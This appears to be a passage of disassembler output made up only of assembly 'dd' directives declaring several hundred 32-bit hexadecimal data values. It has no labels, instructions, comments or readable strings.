		dd 22E29D18h, 0A068FD13h, 656A3A00h, 0C151E40h,	0DB9A4661h
		dd 0C100F8D8h, 0DA3AC519h, 132A6ECFh, 3C2653h, 0F0933BE5h
		dd 9E00BFD4h, 0A9984A1Eh, 704364Ch, 8ABEF73Dh, 0C6B0C063h
		dd 5600F676h, 6DD73772h, 0F81B4Bh, 2B42E425h, 63218F33h
		dd 54E27E37h, 0B6AB07E0h, 0AC650116h, 1D244137h, 0B49AF07Ch
		dd 3B399C00h, 0FA2BB8D9h, 0A26700D0h, 6E5C41E9h, 0B004765h
		dd 75EDA0BBh, 0E5BE48h,	7804ACE3h, 2912CFA5h, 30F67FEAh
		dd 605E1324h, 21FC90Fh,	583B8C31h, 0D3A804FCh, 0E0578D32h
		dd 0CB00250Ch, 2EF59F58h, 3AE6CD15h, 0B080FB9Dh, 0DDCE243Ah
		dd 0C11DFF9Ch, 0BE04AAB4h, 608080DBh, 9249E30h,	6790094Ah
		dd 111CBC5Ch, 2B51240h,	1E8B2EBh, 46923A31h, 0E8051A53h
		dd 87032A3Eh, 93A73C56h, 843AF034h, 2B3100D8h, 60834C85h
		dd 1019FE3h, 76F5C824h,	0AB30F455h, 0AB0900A8h,	0E4C9C672h
		dd 0EC009932h, 0B4438B3Eh, 1C9C6FD6h, 0C049B080h, 193803C3h
		dd 65000DCFh, 0A6C1ABF6h, 0FE2A4Eh, 0DF61F581h,	0B55F9B72h
		dd 8A688C07h, 30A06BAAh, 473FC6h, 1F937920h, 0AB95E4C7h
		dd 4404FB00h, 0AFA98E15h, 5EAA1h, 48D2E3DDh, 433129D8h
		dd 0CB00CAEAh, 0CFFE4541h, 7FDE47h, 0DDE881B2h,	2952F26Ah
		dd 34832C00h, 849F129Ah, 0ED251C50h, 0D860815Dh, 20369215h
		dd 2DF0203Fh, 22321F00h, 0F8C9F9CCh, 79191FEBh,	0CD401A0h
		dd 40A972DEh, 0ADD821BCh, 4BA3FE03h, 0F82ADA60h, 7487BE2Ch
		dd 0DEDD00B5h, 744FAFEBh, 0B00EEEAh, 0A2A12AFDh, 0CC0353h
		dd 10C19559h, 3B87EC09h, 0A4DC251Eh, 0D70B07C0h, 1CFB2C08h
		dd 808D2AF9h, 48A04960h, 0CA706306h, 2880C100h,	0F118955h
		dd 0B054008Fh, 0C7A1EDB3h, 0D9A07576h, 36127927h, 20011753h
		dd 70D8B312h, 5BDDA7D8h, 1BC88068h, 0B400F399h,	0C507BC42h
		dd 0F058AC52h, 3BD003Bh, 59989EA9h, 0CF00A89Bh,	1CA57FA1h
		dd 0EB4D16h, 748B80D2h,	0EF4C111Dh, 0FA84EE05h,	78C56F96h
		dd 123D501Ch, 3CC04953h, 39C1AEE7h, 0D380060Ch,	3BF6CB9Eh
		dd 10966CCh, 46725Ah, 794BFF5Ch, 0EC920291h, 0C98FD62Fh
		dd 2B036472h, 47C3958Eh, 2E32818Ah, 0D006E4h, 0A69716D6h
		dd 0E48EAD07h, 0FEC9B600h, 20BA4686h, 2E7E83h, 0E1A711D0h
		dd 854D1E78h, 49A3C700h, 0A107314Ah, 0DF38C0ACh, 629BD0B3h
		dd 0D6BB3Eh, 881C5EB7h,	1C857B2Ah, 0C0E07AA8h, 5152CB20h
		dd 72004BCCh, 1B266E3h,	97BCDCh, 0C46CD6E7h, 50DBACEAh
		dd 0B4D75C00h, 0BD57690h, 0EE3C0048h, 45A38FF7h, 0DE278DAAh
		dd 2F4A7h, 31C22DDAh, 7075C1Ch,	0FA9A8BD9h, 0A794AD30h
		dd 0F8670E3h, 136E9315h, 57F6F2E0h, 390EC8E2h, 0BD916387h
		dd 0CB128B03h, 0A75DC09Ah, 0B474B5h, 1FA6C221h,	9B93551Ah
		dd 0D4FE0500h, 9A5ED9F7h, 67831713h, 80B81C51h,	86405DA7h
		dd 0D8F1D8E2h, 2000F0F3h, 0BF570B8Dh, 0E69436h,	3017449Eh
		dd 932327E8h, 0BA90D000h, 72D5316Ah, 77920026h,	0AA71EC56h
		dd 24005B47h, 2A330EAEh, 386119Fh, 0BAFA1959h, 79E838D9h
		dd 1C00F051h, 546B18D6h, 8E041Ah, 48B813E9h, 0A310CC4Dh
		dd 0D255D00h, 99DA39F5h, 0FE06006Fh, 0CE979F21h, 7036E72h
		dd 9382CDFFh, 0FC51F8DAh, 25530314h, 0F7F52E85h, 31C600D7h
		dd 4782F84h, 1AFC730Bh,	629000B9h, 0E92A9DDh, 1585B897h
		dd 762B52C0h, 0FD1DA6FEh, 8AC0C553h, 0D37AF229h, 5A9A3F06h
		dd 629D9100h, 0BA9BADD4h, 55CDD00h, 0DA558F92h,	2C4A0EC1h
		dd 3F071F32h, 8469F034h, 0A00ACB5h, 0A148268Bh,	98D152h
		dd 0FA3DB4C9h, 5DBBA2F8h, 2888DF00h, 617FE441h,	0C566071Dh
		dd 0F0F6B449h, 0E6065B73h, 0BC488800h, 2C5D6214h, 3BAC1E67h
		dd 0A905808Ch, 0E6DB1B76h, 86229800h, 0D06A7BDAh, 99B94CF3h
		dd 4E665000h, 2F089007h, 0CF776875h, 0A8225C00h, 0C30D89EBh
		dd 1AE400B0h, 10B1738Fh, 3D00E2A7h, 0CDF1EA5Bh,	348FD6Ah
		dd 7FF9BB9h, 0BBD9297Eh, 9288605Eh, 2CD09D00h, 1C61D188h
		dd 0F4BC0F2Dh, 76000239h, 4789E68Fh, 0FA15FE00h, 45E78C75h
		dd 1EC4Bh, 0BD8578F7h, 36E22CDCh, 80400D25h, 37DD18F8h
		dd 8F3E00BCh, 9497CB44h, 0DF501A19h, 70164FD8h,	0E480DDB1h
		dd 127B05Eh, 8B18729Dh,	0F08C8AEDh, 0E603A38Eh,	7F419B81h
		dd 80DBA3C2h, 3F80837Ch, 55920D60h, 3DBB01FFh, 60E8CFF9h
		dd 0AD0162E7h, 17DB6DC3h, 4204DD9h, 234E006Fh, 0D0C8A21Ah
		dd 35609BD2h, 4AA8F5B0h, 0BF8F1CD4h, 712E00CEh,	26A3A9A2h
		dd 1EF8762Eh, 8AC9B400h, 74C6880h, 1763CDE7h, 3B591008h
		dd 253F8624h, 0BC838789h
		dd 2A20CFC7h, 7A394E71h, 96D702AEh, 61E2663Bh, 7744FF60h
		dd 0E700927Bh, 6C7AA93Fh, 76E5FC76h, 5E47B4Eh, 5A116EACh
		dd 2F10B0AEh, 5DEE370Bh, 12FC20D7h, 0C16378h, 45D6C565h
		dd 0F08EC9DAh, 0FF610A00h, 7E177F7Dh, 66760380h, 0F577A88Fh
		dd 52D1AFA3h, 0DF95D878h, 0E59AC400h, 15D9BE98h, 0B2841CFDh
		dd 5F928018h, 0C328F35Ah, 48F0291Eh, 0F16B21C0h, 9A4B1DBh
		dd 118E0B4Bh, 0FF177480h, 0E00FD51h, 631EB3B2h,	1F2CC1Bh
		dd 0DB5815B6h, 60325AF8h, 90F3312h, 0A029D7B5h,	3806A916h
		dd 8D26065h, 0A7445B52h, 97A40300h, 0E4A3FCA8h,	37C00C4Dh
		dd 4CCA4ED9h, 8B04F900h, 0B8437992h, 0E0E70202h, 3A3C773Eh
		dd 618080C0h, 46648C00h, 91ED5408h, 122E09F1h, 0F580C53Bh
		dd 4B8F410Ah, 9F0EE907h, 9180370Dh, 0C5F285h, 0C3244DEDh
		dd 40367DE5h, 9023810Fh, 6445C13Dh, 4CF86951h, 326F274h
		dd 8C7D8ADCh, 0B5BBEAB7h, 0C94893D0h, 0A2002AE6h, 0E2D0553Eh
		dd 0A114E8h, 4F3C6682h,	0D92CDE61h, 16035C0Eh, 62692004h
		dd 0BB5E4Ah, 0EB1B986Bh, 4B51BA5Ah, 0A76F4800h,	2701ECCDh
		dd 0E99B0015h, 52823D61h, 76005A35h, 0F26FB5D7h, 0F8E68CDEh
		dd 8B411C33h, 0BE53C085h, 9F0D0E4Dh, 8272372Dh,	0E0BABDD0h
		dd 0EC70904h, 0B45CAE4Ch, 1B8941C0h, 0DF0023EAh, 7FBC93A2h
		dd 6B9EB82Ah, 0FF00993Bh, 8830D0E9h, 23527613h,	42016F03h
		dd 0C9809F4Dh, 5DF47995h, 0FE005426h, 1D8FA07Ah, 89FCACECh
		dd 0AE015F72h, 8630BA67h, 3434245Ah, 0FB9D00B9h, 532C7349h
		dd 2370AB13h, 5B44E02Eh, 0B9809800h, 6928DCh, 67F5F0FAh
		dd 0BC4BD13Ah, 0F1816D05h, 0DD00B482h, 0F476B591h, 0D4B7007Bh
		dd 44545551h, 3600DEE5h, 4694D2CFh, 3F4E6Ch, 0AA1AC0B0h
		dd 7BA52005h, 4393000h,	2DE8498Dh, 92B600DAh, 0B03CE2CEh
		dd 7500C46Dh, 40D70DBBh, 15DF0Bh, 42E73DDAh, 8071CA09h
		dd 6CFA7316h, 402E944Ch, 3FFB7AA9h, 0E7899D1h, 37236E9Ah
		dd 0FFF01F2Ch, 0C1B0360Eh, 973280E5h, 0D0DC56h,	0EA018FC2h
		dd 0FE04B6B3h, 0F81C85FCh, 2540FBB7h, 0CA1EE4AAh, 0E91700F4h
		dd 0E6500ADBh, 55003776h, 0C88A677Bh, 1F17E5Dh,	152174BEh
		dd 4080C150h, 7973E790h, 0D4CC2705h, 831FD148h,	6A681140h
		dd 7C42FE8h, 0CBDB744Bh, 2BEB21E9h, 59B6D442h, 0E00807Eh
		dd 68A8131Dh, 71EEFDEh,	0C722479Eh, 0AFE9A0CEh,	2C0F72C9h
		dd 0C0E17315h, 14A377A0h, 0B0B09Fh, 0B0DBEC69h,	0E48A82BBh
		dd 0FC08ED00h, 5BC1CD48h, 995F0071h, 0EB606337h, 9D796F09h
		dd 6050179h, 96230CE4h,	7C279AE0h, 74CF0086h, 73F63450h
		dd 0BB003163h, 83225278h, 0F9F38E2h, 0B0651FDFh, 0DEAE0E00h
		dd 3A0EA14Fh, 60397Eh, 0CC87509Bh, 0B0420EF8h, 0CD8EDECAh
		dd 0D3FD3E0h, 0D8005A7Dh, 0FDC4EC67h, 0EC6F2E35h, 832D0765h
		dd 0D0FE3E48h, 6A31675Fh, 767CC504h, 0A880526Dh, 8C5ED4h
		dd 0AA0A9438h, 6A1B3AF4h, 62DCE300h, 7025D8E1h,	0EBCC00E4h
		dd 0E7CBBA0Eh, 0C87302BCh, 76D6A1Dh, 9DC2A80h, 19F81h
		dd 1CA9B8D4h, 0A767A29Ah, 0C2FCD700h, 2FE928BAh, 18BB0F0Eh
		dd 4B03492Eh, 92909066h, 8D00CAB5h, 952B7D6Bh, 172F45Ah
		dd 559D9645h, 0D89E90FDh, 48C00B64h, 0A5F698B5h, 0CBF4122Dh
		dd 90F012Eh, 9FA10873h,	0A91FD920h, 106AC7C0h, 0F13C87F6h
		dd 0AC204971h, 35EE000Ah, 50E2D89Ah, 19015268h,	0CC1841DDh
		dd 0F8D8647Dh, 0F901C80h, 0C0E81C26h, 13502D07h, 2BF6161Eh
		dd 0A9518700h, 0F0E1E02Eh, 275B077Dh, 20183B53h, 9D43D49Ah
		dd 796CCA58h, 0EB440100h, 0A32B8BFBh, 0A6C029Fh, 3C2C08E9h
		dd 7C060C2h, 0E600D2D9h, 2EE030B3h, 382780DBh, 3795A55h
		dd 15B226EFh, 0AFE8E584h, 0DF172C7Dh, 640044D8h, 949A9E8h
		dd 0FE0176B6h, 4F9604BBh, 80061602h, 81902884h,	0B136C901h
		dd 171BF5ABh, 0FBDEE4h,	9B0C4595h, 877ED05Eh, 25DA0F00h
		dd 82A6FE40h, 49AA04B3h, 0E005C8DCh, 6E00BCB8h,	0F22CAE73h
		dd 1C8937F8h, 24F408Fh,	280BED7Dh, 0DFEFFC60h, 0E18BEA2Ch
		dd 7558A106h, 73AD0C50h, 4B8921F0h, 0D91D1406h,	10C5EFh
		dd 44345202h, 0E8572316h, 74EA9318h, 96BF38h, 39212D7Fh
		dd 88A73CEDh, 0AE9B8F00h, 13C074A4h, 4EE2CFh, 902159DDh
		dd 0DAC4DE37h, 0E88F1B00h, 4DB9C723h, 308400AFh, 0E4CB6511h
		dd 6430D10Dh, 50172869h, 0EB277BA5h, 3C478DD8h,	68801B85h
		dd 98C69C30h, 43F04999h, 7820FE0Bh, 0E320812Eh,	67D4304Eh
		dd 8AF6070Fh, 0F5BFB1B5h, 8E108016h, 0B900FF73h, 3EF93B30h
		dd 0E5E5471h, 4150F494h, 0B937B00h, 51001F8Ah, 88094EA5h
		dd 7F6D55h, 0E13C8CA1h,	5E37D92Eh, 64BF5F00h, 0BBB9F992h
		dd 0CE191F29h, 1DE107B7h, 216E609Dh, 490C6E5h, 2F5A9A00h
		dd 0DF623EC7h, 2B8E03D3h, 0E3FC42Eh, 409ACF99h,	1455BD81h
		dd 6E4A6600h, 0BFB0B6B5h, 45700FFFh, 0B420C46Fh, 0EEF853BCh
		dd 0C5A2800Bh, 0FEA83A9h, 3673C948h, 131AD1D4h,	1C68E034h
		dd 0C2387D8h, 0C086678Dh, 98DDD3E9h, 80067803h,	0B859DF3Dh
		dd 5C5E7705h, 3B1F4871h, 698F4465h, 0C5280F1h, 0C61DD6BCh
		dd 255E5B4Fh, 67D0EEC0h, 35393Eh, 347F3038h, 1703BEE6h
		dd 41F08602h, 405172AEh, 8229E4h, 0DB13D245h, 8B3CC235h
		dd 2CCB4400h, 290E1977h, 0F82B0088h, 84CFD1BEh,	0FD01016Ch
		dd 0DB908222h, 0FCC06D83h, 949E0026h, 3E5EDF4Ah, 0CF3A7A98h
		dd 6884AE10h, 0FA377F02h, 3C5440C8h, 0BB20008Eh, 789B0969h
		dd 86002FDAh, 7BBAE413h, 0E51BC2h, 6983A8E2h, 8A37630Ah
		dd 4A738900h, 0C46C9D77h, 1E7B2Bh, 0A766DD80h, 5085063Eh
		dd 5139CD00h, 7EF2B9D9h, 114B0B9Ch, 3422E362h, 41602729h
		dd 0A901AF4Ah, 0E5D61863h, 0B3CD6884h, 3A26DC64h, 0DB1E99A8h
		dd 41D94046h, 83DC1A60h, 698B8201h, 0BA48E92Ch,	1C75A82Ch
		dd 0FD96F4F5h, 7ECD8607h, 0B0B1404Eh, 0C5018311h, 2E75C14Ah
		dd 0EED84501h, 600C014Fh, 57E8C9C3h, 0C074F153h, 0B372089Ch
		dd 8269D71Eh, 0CB91EE40h, 0F40B2E92h, 68F501CCh, 557390FCh
		dd 4C19E83Ah, 0E2F7B100h, 0A3DBC6A0h, 988E002Dh, 899B2540h
		dd 9300C533h, 9DCCEC6Ch, 61306Dh, 645A46E9h, 0EA478F4Ah
		dd 0E72A23Eh, 0C0D57CADh, 91A5F29Ch, 0E4B00FE1h, 12E005B7h
		dd 31104B35h, 35ED500h,	4C081419h, 309277h, 0C0113717h
		dd 1F3C91C1h, 0AFBF6B00h, 0EDC77D31h, 0DDD00066h, 904184A8h
		dd 53002207h, 0E4C6730Ah, 56CB026h, 0FC4EBABBh,	0F44CC0E1h
		dd 1300D57Fh, 4663B370h, 0E6579E79h, 2DB60068h,	53EA2739h
		dd 0D70015BDh, 640EEFE9h, 724D83E2h, 9122045Eh,	802FBA35h
		dd 0C4B28DFFh, 0D9C5BD00h, 93B51A4Bh, 0C098175Ch, 1179034Ah
		dd 0A0B1A62Ch, 0FCC336Eh, 8F7AF881h, 5C9D837Eh,	0A906A1D9h
		dd 0E0D90F4h, 0EAA87C3Ah, 613D8BA0h, 0DE054331h, 1BE0A375h
		dd 82FD100h, 0E7BD26h, 5872B4B7h, 0EBC22707h, 6EB98B00h
		dd 0AE3F2255h, 796CEA0Ah, 9580017Dh, 53524090h,	3A5C3382h
		dd 738D017Bh, 0BE7C9E91h, 24606CF0h, 0F6F6B6h, 5578F567h
		dd 8D07081Ah, 7EACBF3h,	68BC33F2h, 3811FB0h, 4AF14829h
		dd 69987C14h, 0CD006D34h, 87452F54h, 9E68FCh, 6282CEC4h
		dd 28BF90C5h, 0D36E4E00h, 7BAA46DCh, 1B97009Eh,	195F449Ch
		dd 0BF0B69EEh, 82951F7Fh
		dd 89A17293h, 0CFAB80A9h, 0F03B70h, 0D91BAAFDh,	0E9D057A6h
		dd 21B94A1Dh, 1EA45A00h, 0E1020BAh, 8AC24108h, 0C0EDA0E4h
		dd 0E6C64FB8h, 37AAD507h, 0F2208E29h, 7AA180h, 1CE84C49h
		dd 0EF0E126Ah, 0C411EC04h, 5C807494h, 9B2A21h, 0EB789CB5h
		dd 4538EFB6h, 8000A54Fh, 0B7EE51A9h, 753D0002h,	0AD0C8320h
		dd 4900725Fh, 0B403EC7Fh, 9F582Eh, 5B911B78h, 93C87128h
		dd 1D790E00h, 30A3F675h, 0CE670049h, 8DAC80CDh,	6D00A4B5h
		dd 0C736AD37h, 7E46623Fh, 0AF6E006Ah, 96D7F0DDh, 0F83941CBh
		dd 90428457h, 0D4E026CAh, 0F0C6003Fh, 0FF6CFA1Fh, 0A503C2DDh
		dd 37A7721Bh, 0D55F88D7h, 2F881C05h, 7710029h, 0C7D2205Bh
		dd 7C00917Fh, 601A5292h, 0CDB496h, 0C5D09AD9h, 2A3730EEh
		dd 844D6B01h, 9EBF2243h, 3DFC24F5h, 0D6BE39FFh,	1470F7AEh
		dd 482458A3h, 2302007Ch, 0B4BCACFh, 0DF93600h, 0F189605Ch
		dd 0CCE70120h, 9503B394h, 0A0CEF864h, 0E4D0AE1Fh, 0FC504D00h
		dd 7D52C6h, 83E016F4h, 0CFF52C32h, 0AE86A000h, 0FE15E10Bh
		dd 0CDE6BCh, 1F9B1899h,	34EED580h, 2A76D709h, 0CD58E082h
		dd 37660024h, 447C522Dh, 0D002162Ch, 9004967Fh,	9E34E088h
		dd 4A6BF8D5h, 843C0275h, 7BC271EEh, 0AE4D84C8h,	5799F503h
		dd 0B8D92604h, 1E4014EEh, 3ADB9Eh, 6670FB5Bh, 6F7D6CAAh
		dd 391E6907h, 0A270B852h, 71CD9C8h, 0DF2DA6F4h,	0D1603FF0h
		dd 0F2639931h, 0FBDC9D02h, 6394E497h, 7460881Eh, 49878h
		dd 964E989Ah, 0E1BAB91Dh, 0A9DBA100h, 0F5A474BEh, 0AA5E039Ch
		dd 6AB8AFEEh, 84996B8h,	0C3C5A80Fh, 148F20FEh, 7E7BEFA4h
		dd 196B13A3h, 66A000B9h, 2EF62C51h, 8D25AD01h, 0FE2965DCh
		dd 7014006Ah, 9DD6E7C6h, 4E3C1C90h, 80FDBC44h, 3406C410h
		dd 0E5EC5Ch, 0C02142CDh, 828F272Bh, 0A494CE50h,	0BFC84303h
		dd 0E8134697h, 90235EA0h, 209B0068h, 35EED67Fh,	8FEDD01h
		dd 0F12ABB00h, 5A0A9DEFh, 0E280C9CAh, 3E00ACF1h, 0B72586F6h
		dd 3734000Ah, 501090BFh, 5900609Ah, 0B8F31630h,	4BA40D3h
		dd 8FFCA322h, 0BD0C80DDh, 7B011E14h, 4E26522Ah,	0E88924C8h
		dd 40D229ACh, 9E2B406h,	202770h, 7FC90D41h, 12B845F8h
		dd 0C6570200h, 40DCBD66h, 64A803E5h, 8FC92048h,	65762BE0h
		dd 24338E03h, 0A0DC0998h, 12A51EAh, 9F6787C2h, 2C762096h
		dd 97CC0004h, 8C010866h, 0F07A00BBh, 7DD3E27Bh,	2400E01Fh
		dd 0FC05FE0Fh, 0BD3A7Eh, 0A2EFEAE9h, 7A1F1CAFh,	99DD4100h
		dd 0EE095086h, 718BE56h, 0D01EB8E2h, 9E20F8F1h,	740798F2h
		dd 0A451BCCEh, 0F8A8CAB5h, 0C7EE4607h, 77605FE6h, 20BF71Ah
		dd 1DD3643Fh, 0FBCC2CDh, 604C3F3Ah, 0F4AFD96Eh,	0DC2C00A5h
		dd 92F52EF1h, 0A40E9A36h, 8075AE0Ah, 73A2D828h,	41C1018Ch
		dd 4B7489A6h, 2115D002h, 80521B30h, 12C223h, 0C347039Eh
		dd 0A786534Bh, 0AB216300h, 0EF3A855Dh, 32DB002Eh, 0B0E8E6C4h
		dd 0EB003E7Fh, 0E775D05Eh, 75C656ABh, 0B77D0F6Fh, 62C025B8h
		dd 67F59D9h, 0A7DF7002h, 0C82052C8h, 0A645ACh, 0BC6D1C4Dh
		dd 796C7735h, 222B700Fh, 0E11D8047h, 1D329A7h, 928B9150h
		dd 2E6FC82h, 0A8184179h, 148F7CCh, 621025B9h, 0CCC3B002h
		dd 6100BAE5h, 0A3517F0Dh, 7A07D8EEh, 8FC80559h,	0C1BC20CEh
		dd 70A63220h, 0F60C6A1Fh, 0BE03D6A9h, 2CDB00CAh, 2E621BD9h
		dd 9809DD21h, 89482D75h, 7B30002Fh, 1BF090Fh, 0B9B1EC8Ch
		dd 0DC131B23h, 0DCFCCA85h, 7F651538h, 0D70D5C00h, 7197C949h
		dd 874F3B6Dh, 0A56E0503h, 0FED84577h, 0C8000226h, 8AD069B3h
		dd 7EEA03h, 2EE68122h, 5D298D09h, 2CCC100h, 0CE8ABDBAh
		dd 66F63AF9h, 0BBA75B81h, 6A3BD7F8h, 0DA735400h, 32FC24Ch
		dd 0A338AE75h, 9F88E9B7h, 8001F37h, 218BD9B2h, 7B473391h
		dd 0E4BA1F43h, 76F10063h, 5379FA14h, 8600667Fh,	27E8084Fh
		dd 0EF4652h, 879DF630h,	8EA47707h, 4948B700h, 257FD6C5h
		dd 5DD400D2h, 99E99172h, 0D1E2B1FAh, 67A96600h,	0F7DC9478h
		dd 1FFEEAEh, 276D4B70h,	0F8BCF40Bh, 0B10F57D0h,	40AF0161h
		dd 2352F605h, 0F02007F7h, 30ADA449h, 4062E447h,	0F77B203h
		dd 0D0C79474h, 5E2061h,	0E416F714h, 9BEB02D3h, 57655500h
		dd 0F16C9160h, 18C9817h, 4A3B96D6h, 0D48AAE12h,	4BF6B7C2h
		dd 86821300h, 358CD63Fh, 9F011748h, 62D0C051h, 3A00DCD7h
		dd 0D053A045h, 0E0D361h, 7550D466h, 92A9D24Eh, 99E3B300h
		dd 0CC15FBC8h, 0C9441E8Fh, 2E5341B2h, 0D3AAF7E0h, 179590DFh
		dd 971C9C14h, 79D201B1h, 0ADA1FE00h, 6118C7h, 0F73A9A99h
		dd 9389BB1Eh, 0C31D4107h, 8070DED9h, 6D01Bh, 2B96F21Ah
		dd 0F5453D87h, 0FA700800h, 7F57D55Dh, 80B294h, 69F84DB8h
		dd 0A47E8958h, 0F7CEA00h, 18ACA61Eh, 5FFA00A7h,	0BDF47BE1h
		dd 5801989Fh, 9A37DCE3h, 84D42744h, 0B7D40039h,	0F8E8EB35h
		dd 9300F374h, 4BA00508h, 9C42EE0h, 0CF9F4C75h, 351DF860h
		dd 6E693Fh, 53DF82A7h, 7272D0Ah, 8D263D97h, 0D0FA477Ah
		dd 0CC0330E4h, 0CD228E00h, 99412D67h, 45E201B7h, 0B582D0F2h
		dd 4278607Ch, 816C4C00h, 9D09CAA6h, 6ACB0EFFh, 65E011DCh
		dd 0E4B8C384h, 68EEC400h, 5B082127h, 15AF0078h,	0A3E65982h
		dd 2424E370h, 0C900269Fh, 41859096h, 92D3602Fh,	0A72230C8h
		dd 0EAF6C400h, 4A1D5EDh, 98F50011h, 0D6FD87FEh,	0C07ACE8h
		dd 527DD444h, 360B017h,	8B7B1Dh, 0AD2B07DEh, 8D759DE9h
		dd 0C26007B5h, 5BACF1C0h, 7C8FAB5h, 5C416AEEh, 36B0F054h
		dd 0E4E5E5CCh, 970220F4h, 0FDCA428h, 34FC8070h,	0B092C05h
		dd 30E95554h, 2687DCE5h, 45491A1Ch, 564C442Ch, 27D2AB00h
		dd 0F09A7E23h, 0CF4809AFh, 0C517479h, 9C1353C1h, 116F460h
		dd 0F09A4E65h, 0F8604494h, 55007E4Fh, 0E5E68BDh, 3EED5F34h
		dd 0D9BD5CB6h, 70753D00h, 9EFAA235h, 0F79FCC03h, 0C0B41E88h
		dd 0FEDBBFADh, 18AB0016h, 5E01A67Bh, 2A5D8929h,	0C3111D18h
		dd 1D1F54D2h, 0A31F9A00h, 4F5248h, 0A7F5D7B4h, 3025334Bh
		dd 0D2634600h, 0A9D3C7A1h, 218BA14h, 7340A0DAh,	1C78ED15h
		dd 6ADF5300h, 2F8F0354h, 59E97B5Fh, 0E125AC12h,	718FF465h
		dd 0BA3BA0BCh, 4A6DD9F7h, 0D5200E33h, 0C27D6AA0h, 0ACB868E5h
		dd 1C460200h, 0DCD19D88h, 34B301F5h, 69923FCDh,	0D207FCB4h
		dd 10498718h, 3E7302h, 0C15F7C53h, 0F6A730DBh, 245E0A2Ch
		dd 0B1506A0Ch, 0CC0402ADh, 0D7A640DAh, 0D5153C70h, 84EC88E3h
		dd 3F041B0Ah, 4CCF037h,	0C2D28126h, 0D9D5E303h,	652C9160h
		dd 0C868A880h, 0E79A3BC7h, 7C0F6190h, 0A0CD6D0Ah, 0F5EBFDCCh
		dd 0BC5B1Dh, 0C00B156Ch, 303B51E4h, 90658FBh, 60419D13h
		dd 84F42B14h, 7F6B4700h, 89CD748h, 5B7A94h, 586D33ACh
		dd 9E8D8007h, 965ECD00h, 0ABF8BAA2h, 0C3AD48BDh, 261A9300h
		dd 0FC125845h, 2F3B1900h, 0A4A5FE34h, 5B750072h, 0D2972191h
		dd 0C8924888h, 0D4B0541Fh, 0C81D4947h, 0E07A2177h, 0A64F8E70h
		dd 49135B0Ch, 58019DD8h, 40210735h, 2A5E03A0h, 0D673490Ch
		dd 8DBE0Dh, 0C05D4AE9h,	7118D164h, 0A680EC00h, 89052ED0h
		dd 705600C7h, 0CB8D0737h, 3507DFCAh, 0C17E0822h, 6041B360h
		dd 0D6823AD1h, 34CF8A80h, 4EBFABF6h, 88933D00h,	0C32847B3h
		dd 0F4D0027h, 8D7FCCA1h, 2007967Eh, 0FA94A311h,	0D63DBB50h
		dd 80750013h, 2348A792h
		dd 7400F1FEh, 0E5EEC3A0h, 1EC95D1Ah, 4018B921h,	1481F7CCh
		dd 0E303C034h, 5C9DC64Eh, 0E65880F9h, 0DA96001Ch, 0F260147h
		dd 0E90728B4h, 0F8C6A131h, 888B1AD3h, 56A3DBh, 0C0F37A73h
		dd 436748Fh, 80DF4D03h,	0B002614Ch, 0DE09AEh, 0A882721Ah
		dd 0A15F86B3h, 36EDC400h, 0BC4533C8h, 1E43008Bh, 37E2BF6Ah
		dd 0CF016F3Bh, 0A846D4FBh, 0A9D47009h, 0E90E015Ch, 0E48B8913h
		dd 27A76056h, 0FB1C9F07h, 0D23186A0h, 1E2B3857h, 0B5E740CCh
		dd 749B6D05h, 1FAD1F3Fh, 61C96898h, 3A609CC1h, 580EBED1h
		dd 1DE0ED0Ah, 9E81686h,	0DA654E03h, 0E0BBC601h,	190DB60h
		dd 0C7522BC0h, 0F408E676h, 0CF00B87Dh, 0BE042DA6h, 90FC1F53h
		dd 617E2578h, 86E2B860h, 9E4F5100h, 0BDCD469h, 0FDF00372h
		dd 4EEE47A6h, 1FF099FBh, 0CF0740D3h, 0D2A8C53Ch, 5ABA4B50h
		dd 5FB400B0h, 49A0801Eh, 8400E968h, 36720DF4h, 18B4F9Eh
		dd 0F813787Dh, 20524ECDh, 8E00351Fh, 0A01A6DE2h, 6436FFh
		dd 834656FDh, 93A28270h, 0BC58C700h, 0B5B6CADAh, 36061D2Bh
		dd 285E40F0h, 13635B80h, 48491760h, 3F71CE1Bh, 0FA01D326h
		dd 0B9DBFBF6h, 6CE3C4A4h, 76075426h, 6D91A600h,	18930B3h
		dd 26C47A27h, 0EC1859B6h, 0A1F4B56Bh, 364044BCh, 620A6h
		dd 9E165292h, 4CCFFE59h, 0BE0F0300h, 0C593746Dh, 0FAB10038h
		dd 0F4F69471h, 2F3FBB3Eh, 8438070h, 7D299026h, 0CF6B0EE3h
		dd 282F06ABh, 0D9EFC360h, 0F426626Ah, 9B04A18Bh, 44C1F209h
		dd 2E43DCEh, 8325000Ah,	5276DA93h, 0E90B0B03h, 0C0CE979Eh
		dd 0B257F93Ch, 241AEA34h, 2DB134DCh, 0D8195880h, 0CD3D2738h
		dd 0EF361748h, 0A43BE802h, 0E4F10475h, 7C0088FCh, 0E672F6C9h
		dd 8B2E24h, 0B259D6F8h,	0C1060BC0h, 0FF071870h,	483505CDh
		dd 0DEFA605Eh, 0BD45D8FBh, 80EB0804h, 74EF7B54h, 0D72C9501h
		dd 9832A8D5h, 27DEAC34h, 0DCEB0948h, 1B86AF0h, 5CF24D00h
		dd 89D24B28h, 0A38F0037h, 74E1662Eh, 0E6002C18h, 354DDE72h
		dd 24C46E67h, 0DE4910h,	2318A2B8h, 1B3C9268h, 2E3181A3h
		dd 0CD91126Ah, 0F6FF8C0h, 0D7337F83h, 15F0DD8Ch, 0DA1E9A03h
		dd 0CA3FC6EEh, 2B0E4E7h, 0E8BF2A5Fh, 0D9804A57h, 0E250917Dh
		dd 0D30060E4h, 0A5A1219h, 0EC4AB2C0h, 0EC14188Ch, 8B676032h
		dd 0ACF62072h, 0E5B8F20Eh, 167140AEh, 39403Bh, 0FA056F34h
		dd 0A2A87288h, 0C6825601h, 0F9D73AE9h, 11F2AD0h, 0C06B5419h
		dd 3CE38C76h, 0A9C0788h, 1BF0EE79h, 97E3Bh, 2DA5AE6Eh
		dd 836099D2h, 0B5AF4D00h, 6F1A185Ch, 1D697647h,	0C175F80Ch
		dd 0C5BA2E1Ch, 50B0C701h, 3E004614h, 9B7EC1E6h,	7BB01Eh
		dd 0F0BC1234h, 0B76E0E51h, 0F7692D00h, 0FA30ACC4h, 8160F9C7h
		dd 0C0AB0088h, 0B1112E67h, 83C5044h, 215700AAh,	0FD1BC54h
		dd 0B0C93D69h, 581D2B80h, 0DDD656E9h, 0F30028EEh, 11066257h
		dd 0DB90Eh, 0D45CDBE5h,	0B2397A40h, 61CF3600h, 28C97DC4h
		dd 94D0034h, 8B7CF46Fh,	56000F70h, 0FCD1D03Eh, 0F0D66854h
